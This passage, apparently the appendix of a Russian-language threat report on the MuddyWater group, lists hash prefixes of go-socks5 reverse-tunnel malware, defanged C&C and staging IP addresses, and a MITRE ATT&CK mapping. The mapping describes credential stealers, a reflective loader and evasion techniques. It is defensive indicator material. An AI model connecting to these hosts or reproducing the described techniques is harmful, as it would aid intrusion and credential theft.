MuddyWater – обратный туннель go‑socks5. |
| 87ADD79C7C8335447113 |
20d188afdcpfLFq |
WinGo/TrojanProxy |
MuddyWater – обратный туннель go‑socks5. |
| 93055115559219BE8441 |
main |
WinGo/TrojanProxy |
MuddyWater – обратный туннель go‑socks5. |
| 97C3376AB551E899F347 |
504f53ca8esoLmG |
WinGo/TrojanProxy |
MuddyWater – обратный туннель go‑socks5. |
| 99FAD0862E2E8D363F3E |
20d188afdcpfLFq |
WinGo/TrojanProxy |
MuddyWater – обратный туннель go‑socks5. |
| A101CBCCD950AA36FC3B |
66f3e097e4tnyHR |
WinGo/TrojanProxy |
MuddyWater – обратный туннель go‑socks5. |
| A227C0A4425E24268B75 |
fa54125dc8ZpaNJ |
WinGo/TrojanProxy |
MuddyWater – обратный туннель go‑socks5. |
| A997A7AAE727D2C12CCE |
fa54125dc8ZpaNJ |
WinGo/TrojanProxy |
MuddyWater – обратный туннель go‑socks5. |
| B0271CA76052EC340014 |
7295be2b1fAzMZI |
WinGo/TrojanProxy |
MuddyWater – обратный туннель go‑socks5. |
| B0CD4F5DF192BFFE6500 |
20d188afdcpfLFq |
WinGo/TrojanProxy |
MuddyWater – обратный туннель go‑socks5. |
| B16E7D56A8DC0FF6B3AF |
ESETGO |
WinGo/TrojanProxy |
MuddyWater – обратный туннель go‑socks5. |
| D49979D0063B28BD7339 |
20d188afdcpfLFq |
WinGo/TrojanProxy |
MuddyWater – обратный туннель go‑socks5. |
| D518F5C648AB64B390A2 |
bd34a33f5bHOVby |
WinGo/TrojanProxy |
MuddyWater – обратный туннель go‑socks5. |
| DF223D653F761ED55F9C |
66f3e097e4tnyHR |
WinGo/TrojanProxy |
MuddyWater – обратный туннель go‑socks5. |
| DF8FC5213AA11EE445EA |
Revoke.dll | WinGo/TrojanProxy |
MuddyWater – обратный туннель go‑socks5. |
| E02DD79A8CAED662969F |
66f3e097e4tnyHR |
WinGo/TrojanProxy |
MuddyWater – обратный туннель go‑socks5. |
| E8F4EA3857EF5FDFEC1A |
main |
WinGo/TrojanProxy |
MuddyWater – обратный туннель go‑socks5. |
| F26CAE9E79871DF3A47F |
7295be2b1fAzMZI |
WinGo/TrojanProxy |
MuddyWater – обратный туннель go‑socks5. |
| FF09608790077E1BA52C |
20d188afdcpfLFq |
WinGo/TrojanProxy |
MuddyWater – обратный туннель go‑socks5. |
| A9747A3F58F8F408FECE |
AppVs |
WinGo/TrojanProxy |
MuddyWater – обратный туннель go‑socks5. |
Сеть
| IP | Домен | Хостинг-провайдер | Впервые замечено | Детали |
| 3.95.7[.]142 | N/A | Amazon Data Services NoVa | 08.09.2024 | Сервер C&C MuddyWater. |
| 35.175.224[.]64 | N/A | Amazon Technologies Inc. | 10.10.2024 | Сервер C&C MuddyWater. |
| 51.16.209[.]105 | api.tikavod |
Amazon Data Services Ireland Technical Role Account | 15.09.2024 | Сервер C&C MuddyWater. |
| 62.106.66[.]112 | N/A | RIPE-NCC-HM-MNT, ORG-NCC1-RIPE | 29.09.2024 | Сервер staging MuddyWater. |
| 157.20.182[.]45 | N/A | Hosterdaddy Private Limited | 18.04.2024 | Сервер staging MuddyWater. |
| 161.35.172[.]55 | N/A | DigitalOcean, LLC | 12.11.2022 | Сервер staging MuddyWater. |
| 167.99.224[.]13 | magically |
DigitalOcean, LLC | 06.11.2022 | Сервер C&C MuddyWater. |
| 194.11.246[.]78 | N/A | HosterDaddy Private Limited | 23.07.2024 | Сервер C&C MuddyWater. |
| 194.11.246[.]101 | processplan |
Administrator | 27.08.2024 | Сервер staging и C&C MuddyWater. |
| 206.71.149[.]51 | N/A | BL Networks | 30.10.2023 | Сервер staging MuddyWater. |
| 212.232.22[.]136 | N/A | HosterDaddy Private Limited | 16.01.2025 | Сервер C&C MuddyWater. |
Техники MITRE ATT&CK
Эта таблица составлена с использованием версии 17 фреймворка MITRE ATT&CK.
| Тактика | ID | Название | Описание |
| Разведка | T1591 | Сбор информации о жертве | MuddyWater собирает информацию о жертве для использования в фишинговых письмах. |
| Разработка ресурсов | T1583 | Приобретение инфраструктуры | MuddyWater использует приобретенную инфраструктуру для размещения вредоносного ПО и C&C серверов. |
| T1608 | Размещение возможностей | MuddyWater размещает такие инструменты, как RMM-инструменты и стиллеры данных, на файловых хостингах, таких как OneHub и Mega Limited. | |
| T1587.001 | Разработка возможностей: вредоносное ПО | MuddyWater разрабатывает бэкдоры, такие как MuddyViper, и инструменты, такие как загрузчик Fooder, стиллер учетных данных LP-Notes, а также стиллеры данных браузера Blub и CE-Notes. | |
| T1588.002 | Получение возможностей: Инструмент | MuddyWater использует общедоступные инструменты с GitHub, такие как HackBrowserData и Go-based reverse proxies. | |
| Первоначальный доступ | T1566.002 | Фишинг: Целевой фишинг со ссылкой | MuddyWater использует фишинговые письма со ссылками на файловые хостинги, такие как OneHub и Mega Limited, для размещения RMM-инструментов (Atera, Level и PDQ). |
| Исполнение | T1059.001 | Интерфейс командной строки: PowerShell | MuddyViper умеет открывать и выполнять PowerShell-скрипты. |
| T1059.003 | Интерфейс командной строки: Командная строка Windows | MuddyViper умеет предоставлять командную строку Windows в качестве обратного шелла. | |
| T1559.001 | Межпроцессное взаимодействие: COM | MuddyViper использует COM-объект ITaskService для создания запланированной задачи для обеспечения персистентности. | |
| T1106 | Нативный API | MuddyViper использует API CreateProcess для выполнения дополнительных файлов и команд. | |
| T1204.001 | Исполнение пользователем: Вредоносная ссылка | Операторы MuddyWater полагаются на то, что жертвы кликнут по вредоносным ссылкам, доставленным через целевой фишинг. | |
| Персистентность | T1547.001 | Автозапуск при загрузке или входе: Реестр автозагрузки / папка автозагрузки | MuddyViper умеет копировать себя в папку автозагрузки жертвы. |
| T1543.003 | Создание или изменение системного процесса: Служба Windows | Операторы MuddyWater пытаются установить RMM-инструменты в %PROGRAMFILES%, что также включает создание службы Windows с автозапуском. | |
| T1053 | Запланированная задача/задание | MuddyViper может обеспечить персистентность в виде запланированной задачи с именем ManageOnDriveUpdater. | |
| Обход защиты | T1134.001 | Манипулирование токеном доступа: Имитация/кража токена | Инструменты LP-Notes и CE-Notes пытаются имитировать контекст безопасности вошедшего пользователя через ImpersonateLoggedOnUser. |
| T1140 | Деобфускация/декодирование файлов или информации | Blub использует обфускацию строк для хранения украденных данных. Fooder может извлекать встроенные AES-зашифрованные полезные нагрузки. CE-Notes и LP-Notes используют пользовательскую побайтовую процедуру дешифрования для расшифровки строк. |
|
| T1620 | Загрузка кода с отражением | Загрузчик Fooder выполняет загрузку кода с отражением для запуска дополнительных инструментов (MuddyViper, реверс-туннели и HackingBrowserData). | |
| T1497.003 | Обход виртуализации/песочницы: Обход по времени | MuddyViper использует множество вызовов функции sleep для обнаружения и избегания сред виртуализации и анализа, а также для общего замедления динамического анализа. | |
| T1027.007 | Обфускация файлов или информации: Динамическое разрешение API | CE-Notes и LP-Notes выполняют динамическое разрешение API путем расшифровки строк во время выполнения. | |
| T1134.002 | Манипулирование токеном доступа: Создание процесса с токеном | Загрузчик Fooder пытается дублировать токен процесса, указанного оператором, при запуске Fooder через CreateProcessAsUserA. | |
| T1622 | Обход отладчика | MuddyViper ищет конкретные инструменты отладки, соответственно изменяя свое поведение. | |
| T1070.009 | Удаление индикаторов: Очистка персистентности | MuddyViper может изменять ключи реестра, используемые для персистентности, если ему поручено удалить себя. | |
| T1070.004 | Удаление индикаторов: Удаление файлов | MuddyViper может удалить себя с системы, если ему поручено удалить себя. | |
| T1036 | Маскировка | Некоторые версии Fooder маскируются под безобидную игру Snake. | |
| T1036.004 | Маскировка: Маскировка задачи или службы | MuddyViper может создать задачу с именем ManageOnDriveUpdater. | |
| T1112 | Изменение реестра | MuddyViper может изменять ключи реестра HKCUSoftwareMicrosoftWindowsCurrentVe |
|
| T1027.009 | Обфускация файлов или информации: Встроенные полезные нагрузки | Fooder может извлекать встроенную AES-зашифрованную полезную нагрузку. | |
| T1027.013 | Обфускация файлов или информации: Зашифрованный/кодированный файл | Fooder может извлекать встроенную AES-зашифрованную полезную нагрузку. | |
| Доступ к учетным данным | T1555.003 | Учетные данные из хранилищ паролей: Учетные данные из веб-браузеров | CE-Notes и Blub пытаются украсть учетные данные, хранящиеся в браузерах. |
| T1056.002 | Захват ввода: Захват GUI ввода | MuddyViper и LP-Notes умеют отображать окно входа системы безопасности Windows для захвата учетных данных и подтверждения их подлинности путем передачи этих учетных данных легитимным API Windows. | |
| Обнаружение | T1082 | Обнаружение информации о системе | MuddyViper собирает информацию о системе с зараженных систем и отправляет ее обратно на C&C сервер. |
| T1518.001 | Обнаружение ПО: Обнаружение ПО безопасности | MuddyViper пытается получить список запущенных процессов, ищет процессы, связанные с безопасностью, и, если находит, сообщает о них на C&C сервер и изменяет свое поведение. | |
| Сбор данных | T1074.001 | Сбор данных: Локальный сбор данных | Blub, CE-Notes и LP-Notes сохраняют украденные учетные данные на диске для сбора и эксфильтрации MuddyViper, реверс-туннелями или RMM-инструментами. |
| T1560.001 | Архивация собранных данных: Архивирование с помощью утилиты | MuddyViper использует команду Compress-Archive PowerShell для сжатия данных браузера, собранных с помощью утилиты HackBrowserData. | |
| Управление и контроль | T1573.001 | Зашифрованный канал: Симметричная криптография | MuddyViper использует шифрование AES-CBC для шифрования данных перед обменом данными с C&C сервером. |
| T1219 | Программное обеспечение для удаленного доступа | MuddyWater использует RMM-инструменты Atera, Level и PDQ для удаленного доступа к системам жертв. | |
| T1071.001 | Протокол прикладного уровня: Веб-протоколы | MuddyViper использует HTTPS для связи с C&C. Реверс-туннели используют смесь HTTP и HTTPS для связи с C&C. | |
| T1105 | Передача инструментов извне | MuddyViper умеет скачивать дополнительные полезные нагрузки со своего C&C сервера. | |
| T1001 | Обфускация данных | MuddyViper использует HTTPS для связи с C&C, используя заголовок Status для сокрытия ID команды бэкдора в направлении от сервера к клиенту. | |
| T1090 | Прокси | MuddyWater использует кастомные версии инструментов реверс-прокси go‑socks5. | |
| Эксфильтрация | T1041 | Эксфильтрация через C2-канал | Инструменты MuddyWater эксфильтруют данные на C&C серверы, используя C&C каналы (HTTP и HTTPS). |
| T1030 | Ограничение размера передаваемых данных | MuddyViper поддерживает загрузку/выгрузку файлов по частям ограниченного размера. |
